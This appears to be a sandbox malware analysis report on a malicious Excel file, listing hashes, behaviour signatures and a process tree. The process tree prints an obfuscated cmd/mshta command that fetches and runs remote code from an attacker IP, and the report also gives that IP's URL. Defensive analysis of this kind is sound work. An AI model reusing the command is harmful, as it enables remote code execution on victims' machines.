Analysis
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max time kernel
60s -
max time network
31s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
20/11/2024, 12:33
Behavioral task
behavioral1
Sample
22cc5f027f58624d6d7b256f7c86f0fbfb56d892ce04834782078ad1c58ff9fe.xls
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
22cc5f027f58624d6d7b256f7c86f0fbfb56d892ce04834782078ad1c58ff9fe.xls
Resource
win10v2004-20241007-en
General
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Target
22cc5f027f58624d6d7b256f7c86f0fbfb56d892ce04834782078ad1c58ff9fe.xls
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Size
71KB
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MD5
1f4b74b40be109d5a7e1f6fc7d2b2a77
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SHA1
b9be35374f2d074c0ae9b606e8993a67767de56b
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SHA256
22cc5f027f58624d6d7b256f7c86f0fbfb56d892ce04834782078ad1c58ff9fe
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SHA512
500ec22f3f55e4e4ef0add0084e03f79829cb58380cbe92eca43cc6db6ec4320a5cbfa3f0fb8bc4a447bcb04ba3720a2850d3e693e4305d2a82ee1f502939c08
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SSDEEP
1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr
Malware Config
Extracted
http://185.7.214.7/fer/fe2.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2124 2308 cmd.exe 29 -
Blocklisted process makes network request 2 IoCs
flow pid Process 3 2756 mshta.exe 7 2756 mshta.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2308 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2308 EXCEL.EXE 2308 EXCEL.EXE 2308 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2308 wrote to memory of 2124 2308 EXCEL.EXE 30 PID 2308 wrote to memory of 2124 2308 EXCEL.EXE 30 PID 2308 wrote to memory of 2124 2308 EXCEL.EXE 30 PID 2308 wrote to memory of 2124 2308 EXCEL.EXE 30 PID 2124 wrote to memory of 2756 2124 cmd.exe 32 PID 2124 wrote to memory of 2756 2124 cmd.exe 32 PID 2124 wrote to memory of 2756 2124 cmd.exe 32 PID 2124 wrote to memory of 2756 2124 cmd.exe 32
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\22cc5f027f58624d6d7b256f7c86f0fbfb56d892ce04834782078ad1c58ff9fe.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2308 -
C:\Windows\SysWOW64\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Windows\SysWOW64\mshta.exemshta http://0xb907d607/fer/fe2.html3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2756
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